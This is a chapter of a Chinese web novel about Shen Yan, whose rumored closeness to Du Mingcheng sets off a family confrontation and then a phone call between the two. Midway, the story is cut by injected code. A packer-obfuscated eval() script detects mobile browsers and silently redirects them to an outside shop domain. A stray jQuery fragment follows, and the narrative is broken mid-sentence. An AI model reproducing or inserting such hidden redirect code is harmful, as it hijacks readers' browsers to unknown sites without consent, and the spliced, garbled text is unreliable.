清晨的第一缕天光刺破薄雾,刚爬上沈家老宅雕花窗棂,沉寂不过几小时的校园论坛、同城娱乐号,再度轰然炸开。
昨夜酒吧门口那道暗处偷拍的快门,终究还是留下了痕迹。
高清抓拍的远景照片被人连夜修亮、放大,一夜之间传遍各大圈层。
照片里夜色暧昧,霓虹虚化朦胧,玻璃门前光影缱绻清晰映于二人面上。
杜明城俯身逼近,单手虚揽在沈砚身侧,身形完全将人圈在方寸之间,气息相缠,距离近得足以令所有人浮想联翩。
【???沈砚和杜明城密会拥抱?媒体你疯了吗?我们沈学长怎么可能是gay?】
【上次白鸽绯闻女画师,这次深夜杜明城?沈砚……??】
【这压迫感绝了!俯身低头那一下,谁嗑疯了我不说。】
【上面的你有毛病吗?磕糖磕疯了?】
帖子热度飙升极快,短短几小时,楼层再度破万,从校园圈直接窜入同城热搜尾巴再到校园圈。
消息顺着人脉链条,无风自动,直直吹进了沈家老宅。
上午九点,沈家客厅。
赵樱红一早刷到照片,便攥着手机不停翻看,嘴角挂着阴阳怪气的笑意,高声念着评论,生怕旁人听不见。
“哎哟,阿砚这孩子,看着乖乖读书、本本分分,背地里可真会交际。”
“深夜跟杜明城在酒吧门口黏黏糊糊,动作这么亲密,哪像是正经学生?”
“怪不得前段时间不着急进公司实习、天天往外跑,原来是外头有人撑腰,根本瞧不上沈家这点差事。”
几句轻飘飘的话,字字诛心,刻意把暧昧做实。
周遭人纷纷附和,窃窃私语,眼神躲闪又带着鄙夷,句句夹枪带棒。
苏月华坐在沙发正中,指尖微微发颤,脸色青白交加。
她也看见了那张照片。
画面太过刺眼,太过亲密,亲密到连她这个做母亲的,都无从辩解。
可她这辈子最擅长的便是自欺欺人。僵持半晌,她硬着头皮拔高声音,强行替沈砚洗白:“你们别乱看乱猜!不过是晚上天冷,杜少爷顺手给他披件衣服,年轻人之间正常寒暄,被偷拍放大刻意制造误会而已。”
“网上那些谣言都是旁人瞎嗑、恶意抹黑,我家阿砚性子干净,怎么可能乱来。”
赵樱红似笑非笑瞥她:“是吗?可这姿势、这氛围,可不像普通朋友啊月华。再说寻常朋友,谁敢这么近身贴着?”
一句话堵得苏月华瞬间语塞,面色难堪,却依旧死撑着不肯松口。
就在客厅争执不休、流言四起之际,玄关处传来一声冷沉的推门动静。
沈耿回来了。
他昨夜得知城北地块最终落地一个矿产老板手中、彻底落空的消息,彻夜未眠,压了一肚子的戾气与怒火。今早一刷同城热搜,看见这张沸遍全城的暧昧照片,积压的怒火瞬间彻底炸开。
他皮鞋踩过大理石地面,声响沉重,周身戾气骇人。
众人瞬间噤声,客厅刹那落针可闻。
沈耿一把扯过旁人手里的手机,盯着照片里的画面,指节死死攥紧,屏幕几乎被他捏碎。
昨晚他百思不得其解,为何杜明城说不跟他争明明中立,最后却默许一个矿产老板截胡。
直到此刻看见这张深夜密会照,所有疑点骤然串联。
沈耿眼底戾气暴涨,胸腔翻涌着滔天怒火。
原来如此。
原来沈砚背地里早就攀上杜明城。
难怪他敢无视沈家利益、无视他的心思,原来是他这个好弟弟亲手把他蓄谋已久的地块拱手送人。
“好,真好。”
沈耿低声冷笑,声音阴沉刺骨,带着彻骨的寒意。
“我的好弟弟。”
“暗地里攀附权贵、私结外人,转头就卖掉沈家资源,断送我的路子。”
“沈砚胆子真是越来越大了。”
苏月华慌忙起身辩解:“阿耿,你别多想,只是普通朋友——”
“普通朋友?”沈耿骤然抬眼,目光凌厉扫过苏月华,字字冰冷,“普通朋友会深夜单独泡酒吧?普通朋友会贴身暧昧、当众亲近?”
“你护他可以,但别自欺欺人,帮着他糊弄所有人。”
“城北地块我筹谋整整三个月,人脉、资金、渠道全部铺好,一夜之间被他一句话断送。”
“他凭什么?”
“凭他外头有人撑腰,凭他根本没把沈家、没把我放在眼里!”
满室寂静,无人敢接话。
所有人低头屏息,谁都看得出来,沈耿这次,是真的动了真火。
沈砚这一步棋,看似不争不抢、全身而退,实则彻底激怒了沈耿,把他与沈耿的盾直接摆上明面。
就在老宅风雨欲来、所有人等着看沈砚回来被当众问责、狠狠发难之际。
二楼楼梯,传来轻缓平稳的脚步声。
沈砚洗漱完毕,换了一身干净的素色衬衣,神色清淡,缓步下楼。
他显然已经看过热搜,眼底没有丝毫慌乱、没有半分心虚,平静得像是热搜上沸反盈天的暧昧主角、沈家众人议论的焦点,从来不是他。
沈耿抬眼,死死盯着他,语气阴沉逼人:“你昨晚去哪了?”
沈砚站在楼梯转角,淡淡回看他:“酒吧。”
坦荡直白,没有丝毫遮掩。
“和谁?”
“杜明城。”
连搪塞都懒得搪塞。
沈耿胸口剧烈起伏,怒火直冲头顶,步步逼近:“城北地块,是你故意的?你攀上他,就是为了回头拿捏沈家、断我路子?”
这句质问尖锐至极,带着浓浓的猜忌、怨毒与逼压。
客厅所有人的目光,瞬间死死钉在沈砚身上,等着他慌乱、等着他辩解、等着他露怯。
可沈砚只是轻轻垂眸,语气清淡却字字锋利:
“地块归属,本就轮不到我来插话,况且昨晚我跟杜先生只是喝酒,仅此而已。”
“杜先生的态度,我不知道。”
“至于我和他的关系。”
他抬眼,目光清亮冷静,直直迎上沈耿暴怒的视线,坦然出声:“与沈家无关,与你无关。”
一语落下,彻底封死所有口舌。
不解释暧昧,不澄清绯闻,不卑不亢,冷淡疏离。
越是坦然,越是让旁人抓不到把柄,越让沈耿满腔怒火无处发泄,憋得五脏六腑发疼。
此刻城市另一端,顶级商务车内。
杜明城指尖滑动手机屏幕,页面正是那条爆火的绯闻热帖。
高祁坐在驾驶位,低声汇报:“老板,热搜已经压下去大半,同城营销号全部公关处理,无恶意引导,但来消息,沈家那边貌似……已经闹开了。”
杜明城眸光沉沉,落在照片里青年侧影上。
他指尖轻轻摩挲屏幕,唇角勾起一抹极淡、极深的笑意。
闹开了也好,省下不少事。
“盯着沈家。”
此时沈宅里可谓古怪至极。
沈砚一句“与你无关,与沈家无关”,彻底堵死满堂众人的嘴。
沈耿僵在原地,脸色铁青,胸腔里翻涌的怒火被硬生生憋住,上不去也下不来。
他最恨沈砚这副模样——
永远清冷、永远坦然、永远一副置身事外的姿态,仿佛所有人的算计、嗔怒、敌意,都只是俗人自扰。
“无关?”沈耿咬着牙,声音压得极低,带着狰狞的压迫感,“沈砚,你身在沈家,吃沈家的饭、住沈家的宅,你的根就在沈家,你凭什么说无关?”
沈砚垂着眼,语气平淡无波,却字字锋利:“沈家的资源、纷争、利弊,我从不在乎。”
“你筹谋的地块,没抢到是你的失误,我不必为你的失误买单。”
“况且,抢你地块的人是谁,关我、杜先生什么事?又不是我们抢的。”
一番话说得通透冷静,条理分明,堵得沈耿哑口无言。
周围人面面相觑,无人敢插嘴。
赵樱红看着气场全然蜕变的沈砚,心底莫名生出几分忌惮。
苏月华站在一旁,怔怔看着自己的儿子,一半欣慰,一半惶恐。
欣慰他不再软弱可欺,却又惶恐他太过疏离,彻底脱离了自己能掌控的范围。
沈耿死死盯着沈砚半晌,最终冷笑一声,眼底盛满阴鸷:“好,很好。你翅膀硬了,有外人撑腰,看不起沈家了,是吧?”
“我没有看不起沈家。”沈砚抬眼,平静回望,重复道:“你想错了,我没有看不起沈家,就像你说的我的根在沈家。”
话音落,他不再看满堂各色目光,转身径直上楼。
关上卧室门的一瞬,外界所有嘈杂、猜忌、嘲讽尽数隔绝。
房间安静得只剩窗缝漏进的风声。
沈砚背靠门板,缓缓闭上眼,长长吐出一口气。
他不是不慌,不是无所谓。
只是他太清楚,一旦露怯,就会落入沈家无休止的拿捏之中。
可他万万没料到,昨夜一张无心偷拍照,竟能掀起沈家这么大的风浪,更没料到杜明城会在暗处整他。
想起热搜,他头脑疼痛至极,杜明城这不存心害他吗?
手机屏幕轻轻亮起。
——沈家怎么样了?
沈砚指尖一顿。
他盯着屏幕看了两秒,指尖微动,敲字回复:
——感谢你的好意,沈耿已经记恨上我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831317|211342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。
早知道那时就说让杜明城抢了,虽然杜明城该怎么做还是怎么做,但至少他跟杜明城之间少了许多不该有的隔阂。
那边几乎秒回,只不过是一个小白熊笑唧唧的表情包。
沈砚看着那副贱兮兮的模样,心里越来越堵,干脆切换回社交软件看他的热搜。
看到热搜榜的第一眼,他默默切换出去又点进去,真真确确,不是他看错后,他愣住了。
——关于他与杜明城的热搜被撤的干干净净,不留一点痕迹,仿佛那个热搜只是系统出bug出现的失误。
这人永远这样,强势入侵,擅自插手,以一副居高临下的姿态闯入他的生活,搅乱他所有平静后又假惺惺来关心他。
让人恨不彻底,谢不心甘情愿。
他思索片刻,淡淡回:
——你这般插手,只会让沈家更猜忌我。
对面沉默片刻,忽然打来电话。
这是两人之间,第一次真正意义上的私人通话。
沈砚静默两秒,按下接听。
听筒那头,男人嗓音慵懒低沉,带着几分晨起微哑的磁性,漫不经心开口:
“阿砚。”
沈砚淡声回应:“杜先生。”
“沈家闹翻天了?”杜明城笑意浅浅,听不出喜怒。
“托你的福。”沈砚道。
杜明城低笑出声:“怎么怪我?我明明在帮你。”
“你的帮忙,代价太大。”沈砚直言,“你越护我,沈家越视我为异类,越认定我攀附外援、心怀异心。”
“那又怎么样?”
杜明城语气骤然沉下来,带着不容反驳的强势:
“你本来就和他们不是一路人。”
“沈家人眼界太小、格局太低,一辈子困在宅斗和地皮利益里。你留在那里隐忍蛰伏,不过是浪费你的心思、你的天赋。”
“沈耿气也好、恨也好、忌惮也好——”
他顿了顿,言简意赅道:“你不会有事,相信我。”
听筒里安静一瞬。
沈砚握着手机,指尖微微收紧,越来越觉得这人就一不通人性的精神病,打着为自己好的旗子,实则一直把他当往风口浪尖上推。
他沉默许久,轻声问:
“杜明城,你到底想要什么?”
这是他第一次,如此直白、如此坦诚地问出心底最大的疑惑。
无数次靠近、无数次偏袒、无数次破例、无数次暗中撑腰。
他不信毫无所求。
电话那头笑意敛尽,气息微沉。
风声穿过听筒,隔了一线距离,却压着什么。
“我想要你啊。”
听筒里落下的五个字,滚烫又直白,毫无缓冲。
沈砚指尖猛地攥紧手机,耳尖微微发僵,胸腔里掀起一阵杂乱的涟漪。
不等他组织语言回应,电话那头的杜明城已然轻笑,缓和了骤然紧绷的气氛。
“逗你玩的。”杜明城语调恢复从容,仿佛方才那句剖白只是随口的闲谈,“对了,网上那张照片的热搜,我让人往下撤了。”
沈砚一怔,思绪瞬间被拉回沈家客厅沸沸扬扬的流言。
“我看到了。”
“嗯。”杜明城声音淡淡,听不出情绪,“持续发酵对你没有好处。如今沈耿本就憋着一股火气,热搜长久挂在榜上,只会给他源源不断的借口,在沈家不断借题发挥,持续为难你。”
这话听起来处处是为他考量。
可沈砚太了解杜明城,此人每一步举动,永远不会只有一层目的。
他靠在书桌椅背上,声音平静,暗藏试探:“杜先生早上特意造势搅动沈家局面,现在又主动撤掉热搜,前后反差,未免太快。方才你分明乐见沈家猜忌我。”
电话那头低低笑了一声不说话。
沈砚默然。
“营销号的稿件全部清空,偷拍原图全部回收,流传在外的零散照片也安排人清理。”杜明城继续说道,“剩下少量私下流转的截图,掀不起大浪,顶多小范围私下议论,无法当成明面上攻讦你的把柄。”
沈砚缓缓开口:“多谢。这般大费周折。”
他不愿意白白承接对方源源不断的善意与庇护,所有凭空而来的偏袒,早晚都会索要代价。
听筒内安静片刻。
沈砚简略避开话题,不与他继续拉扯这有的没的。
“画展的时间,我还没有接到通知。等我安排好学校和救济会的事,再通知你。”
“可以。”杜明城没有逼迫,十分爽快地让步,“如果你临时改变主意,也不必觉得为难,直接和我说就行。”
通话就此结束。
沈砚放下手机,心绪久久无法平复。